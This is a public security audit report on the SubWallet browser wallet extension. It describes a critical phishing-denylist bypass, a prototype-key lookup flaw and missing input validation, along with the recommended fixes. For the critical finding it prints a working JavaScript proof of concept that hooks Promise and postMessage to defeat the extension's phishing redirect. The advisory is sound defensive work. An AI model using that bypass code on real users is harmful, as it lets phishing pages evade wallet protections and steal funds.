



verichains

*SECURITY AUDIT OF*  
**SUBWALLET EXTENSION**



**Public Report**

*Mar 10, 2022*

**Verichains Lab**

[info@verichains.io](mailto:info@verichains.io)

<https://www.verichains.io>

*Driving Technology > Forward*



## **EXECUTIVE SUMMARY**

This Security Audit Report prepared by Verichains Lab on Mar 10, 2022. We would like to thank SubWallet for trusting Verichains Lab in auditing the wallet extension. Delivering high-quality audits is always our top priority.

This audit focused on identifying security flaws in code and the design of the SubWallet Extension. The scope of the audit is limited to the source code files provided to Verichains. Verichains Lab completed the assessment using manual, static, and dynamic analysis techniques.

During the audit process, the audit team had identified some vulnerable issues in the application, along with some recommendations.



## TABLE OF CONTENTS

<b>1. MANAGEMENT SUMMARY .....</b>	<b>4</b>
<b>1.1. About SubWallet.....</b>	<b>4</b>
<b>1.2. About SubWallet Extension .....</b>	<b>4</b>
<b>1.3. Audit scope .....</b>	<b>4</b>
<b>1.4. Audit methodology.....</b>	<b>4</b>
<b>1.5. Disclaimer .....</b>	<b>6</b>
<b>2. AUDIT RESULT .....</b>	<b>7</b>
<b>2.1. Overview .....</b>	<b>7</b>
<b>2.2. Findings .....</b>	<b>7</b>
<b>2.3. Issues .....</b>	<b>7</b>
2.3.1. redirectIfPhishing bypass CRITICAL.....	7
2.3.2. Unsafe object property access LOW .....	10
<b>2.4. Possible enhancements .....</b>	<b>11</b>
2.4.1. No schema verification when receiving input from external source INFORMATIVE.....	11
<b>3. VERSION HISTORY .....</b>	<b>12</b>

# 1. MANAGEMENT SUMMARY

## 1.1. About SubWallet

SubWallet is the pioneer Web3 extension wallet in the Polkadot and Kusama ecosystem that is user-friendly and easy to use. SubWallet provides the simplest yet most secure way to connect to blockchain-based applications like DeFi and GameFi applications.

## 1.2. About SubWallet Extension

**SubWallet Extension** is web3 extension wallet which was written in [Typescript](#). It is forked from [polkadot-js/extension](#) github repository which aim to adding more features while being able to rebase the [polkadot-js](#) origin at any time.

## 1.3. Audit scope

In this particular project, a timebox approach was used to define the consulting effort. This means that **Verichains Lab** allotted a prearranged amount of time to identify and document vulnerabilities. Because of this, there is no guarantee that the project has discovered all possible vulnerabilities and risks.

Furthermore, the security check is only an immediate evaluation of the situation at the time the check was performed. An evaluation of future security levels or possible future risks or vulnerabilities may not be derived from it.

This audit was conducted on commit [9cec8228bdb194c9bd5f0b66f12d0913da73f374](#) from git repository <https://github.com/Koniverse/SubWallet-Extension>.

## 1.4. Audit methodology

Verichains Lab's audit team mainly used the list below to check for Wallet Extension security:

- Transaction signature
- Transfer assets
- Transaction broadcast
- DApp communication
- Private Key/Mnemonic Phrase generation/destruction
- Private Key/Mnemonic Phrase secure storage
- Private Key/Mnemonic Phrase backup/restore
- Cryptography
- XSS
- Third-party JS
- HTTP Response Header

## Report for SubWallet

### Security Audit – SubWallet Extension

Version: 1.1 – Public Report

Date: Mar 10, 2022



- Communication encryption
- Cross-domain transmission
- Access control
- Business design
- Architecture design

During the audit process, we also used tools for viewing, finding and verifying security issues of the app, such as following:

#	Name	Version
1	Chrome	99.0.4844.51
2	Firefox	97.0.2
3	Visual Studio Code	1.65.0

*Table 1. Tools used for audit*

For vulnerabilities, we categorize the findings into categories as listed in table below, depending on their severity level:

SEVERITY LEVEL	DESCRIPTION
<b>CRITICAL</b>	A vulnerability that can disrupt the application functioning; creates a critical risk to the application; required to be fixed immediately.
<b>HIGH</b>	A vulnerability that could affect the desired outcome of executing the application with high impact; needs to be fixed with high priority.
<b>MEDIUM</b>	A vulnerability that could affect the desired outcome of executing the application with medium impact in a specific scenario; needs to be fixed.
<b>LOW</b>	An issue that does not have a significant impact, can be considered as less important.

*Table 2. Severity levels*

## Report for SubWallet

### Security Audit – SubWallet Extension

Version: 1.1 - Public Report

Date: Mar 10, 2022

---



## 1.5. Disclaimer

Please note that security auditing cannot uncover all existing vulnerabilities, and even an audit in which no vulnerabilities are found is not a guarantee for a 100% secure application. However, auditing allows discovering vulnerabilities that were unobserved, overlooked during development and areas where additional security measures are necessary.

## 2. AUDIT RESULT

### 2.1. Overview

The main features of the SubWallet Extension are:

- Monitor the balance of your Multi-chain assets on the extension window
- Send and Receive Assets with a few simple taps
- Grant access and verify transactions to Web3
- Easily manage and transfer NFT assets
- Quick and easy manage your portfolio

### 2.2. Findings

During the audit process, the audit team found some vulnerabilities in the given version of SubWallet Extension.

SubWallet fixed the code according to Verichains's private report in commit [f1f5bc00738cfaab8adbc1567ccecabdd5fc9f2f](#).

#	Issue	Severity	Status
1	<b>redirectIfPhishing</b> bypass	CRITICAL	FIXED
2	Unsafe object property access	LOW	ACKNOWLEDGED

Audit team also suggested some possible enhancements.

#	Issue	Severity	Status
1	No schema verification when receiving input from external source	INFORMATIVE	ACKNOWLEDGED

### 2.3. Issues

#### 2.3.1. **redirectIfPhishing** bypass CRITICAL

Currently, the extension already implemented a mechanism to check for block malicious sites by using a denylist. It will check if the visiting site is in blacklist on page load and redirect to phishing landing on match.

The audit team found that we can bypass it by abusing current extension initializer loading model for websites that allow us to set up javascript environment that can efficiently bypass above mechanism.

Extension is first loaded in page on `document_start` (before any script running):

```
"content_scripts": [  
  {  
    "js": [  
      "content.js"  
    ],  
    "matches": [  
      "http://*/*",  
      "https://*/*"  
    ],  
    "run_at": "document_start"  
  }  
],
```

That `content.js` setups communication gateway and then again load the actual plugin's client source:

```
const script = document.createElement('script');  
  
script.src = chrome.extension.getURL('page.js');  
  
script.onload = (): void => {  
  // remove the injecting tag when loaded  
  if (script.parentNode) {  
    script.parentNode.removeChild(script);  
  }  
};  
  
(document.head || document.documentElement).appendChild(script);
```

After `page.js` loaded, it will run denylist logic:

```
redirectIfPhishing().then((gotRedirected) => {  
  if (!gotRedirected) {  
    inject();  
  }  
}).catch((e) => {  
  console.warn(`Unable to determine if the site is in the phishing list: ...  
    ${e as Error}.message`);  
  inject();  
});
```



Note that above `content.js` lets `page.js` runs outside of `document_start`, and that will delay up to after headers's scripts. So we can add malicious scripts into `head` and these will run before extension's script.

We implemented one way to bypass by hooking `Promise` and `window.postMessage`:

- `window.postMessage`: set flag when seeing `"pub(phishing.redirectIfDenied)"` message.
- `Promise`: resolves `false` for `redirectIfPhishing`.

Details as below:

```
(function(){
    var requestPhishing = true;
    var savedPromise = Promise;
    window.Promise = function(creator) {
        if(requestPhishing && ~creator.toString().indexOf('${Date...
        .now()}.')) {
            requestPhishing = false;
            this.real = savedPromise.resolve(false)
            return
        }
        this.real = new savedPromise(creator);
    }
    var b = window.Promise.prototype = {};
    var a = savedPromise.prototype;
    for(var i of ['catch','then','finally']) b[i]=((fn)=>function(...
arg){ return this.real[fn].call(this.real,...arg) })(i);
    var saved = window.postMessage;
    window.postMessage = function(msg,...args) {
        if(msg && msg.message === 'pub(phishing.redirectIfDenied)...
    ') {
            requestPhishing = true;
            return;
        }
        return saved(msg, ...args);
    }
})();
```

Demo: Inspect plugin's background page and visit <https://e08a2978-db98-4cd4-8ca7-7ca5bffdf21-tmp.vhn.vn/>, there won't be [in] <https://e08a2978-db98-4cd4-8ca7-7ca5bffdf21-tmp.vhn.vn/>: ...: `pub(phishing.redirectIfDenied)`

## RECOMMENDATION

Include `page.js` into `content.js` and/or ensure blacklist verification in handlers's state.

## UPDATES

- *Mar 10, 2022:* This issue has been acknowledged and fixed by the SubWallet team in commit [f1f5bc00738cfaab8adbc1567ccecabdd5fc9f2f](#).

### 2.3.2. Unsafe object property access **LOW**

Nearly all objects in *JavaScript* are instances of *Object* which sits just below *null* on the top of a prototype chain. *Object* already has many stuffs defined, for example: `toString()`, `valueOf()`, `__defineGetter__`, `__proto__`,... Attacker may use these as key to access some dictionary objects (`{}`) to take advance of unaware return value type in application to extract metadata, parts of source code, or event bypassing unsafe guards.

Example error in the auditing source code:

```
128  readonly #authRequests: Record<string, AuthRequest> = {};  
-----  
135  readonly #metaRequests: Record<string, MetaRequest> = {};  
-----  
142  readonly #signRequests: Record<string, SignRequest> = {};  
-----  
402  public getAuthRequest (id: string): AuthRequest {  
403      return this.#authRequests[id];  
404  }  
405  
406  public getMetaRequest (id: string): MetaRequest {  
407      return this.#metaRequests[id];  
408  }  
409  
410  public getSignRequest (id: string): SignRequest {  
411      return this.#signRequests[id];  
412  }
```

Although types are declared strictly in *typescript*, these will all stripped when compiling to plain *javascript*. For example, if the input value of `getAuthRequest` is `"toString"`, return value of the function will be the native `toString` function, not `AuthRequest` type.

This kind of error is everywhere across the auditing codebase.

References:

- [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance\\_and\\_the\\_prototype\\_chain](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)



## RECOMMENDATION

Use `Map` for map/dictionary/record datastruct ([https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\\_Objects/Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)). Or use `hasOwnProperty()` ([https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\\_Objects/Object/hasOwnProperty](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)).

## UPDATES

- Mar 10, 2022: This issue has been acknowledged by the SubWallet team.

## 2.4. Possible enhancements

### 2.4.1. No schema verification when receiving input from external source **INFORMATIVE**

Cast `data` from type of `any` to `TransportRequestMessage<keyof RequestSignatures>`:

```
port.onMessage.addListener((data: TransportRequestMessage<keyof RequestSignatures>) => handlers(data, port));
```

All the handlers follow that make use of strict typing from `typescript`'s declarations, so it's open for attacker to fake the data with inputs that have wrong types. As no type checking will be involved at runtime, the final behavior is undefined, but mostly the unexpected behavior will be some kind of errors throwing.

## RECOMMENDATION

Make use of JSON schema validator or implement a new type `UntrustedType<T> = T` to track untrusted source top down.

## UPDATES

- Mar 10, 2022: This issue has been acknowledged by the SubWallet team.

## Report for SubWallet

### Security Audit – SubWallet Extension

Version: 1.1 – Public Report

Date: Mar 10, 2022



## 3. VERSION HISTORY

Version	Date	Status/Change	Created by
<b>1.0</b>	<i>Mar 07, 2022</i>	Private Report	Verichains Lab
<b>1.1</b>	<i>Mar 10, 2022</i>	Public Report	Verichains Lab

*Table 3. Report versions history*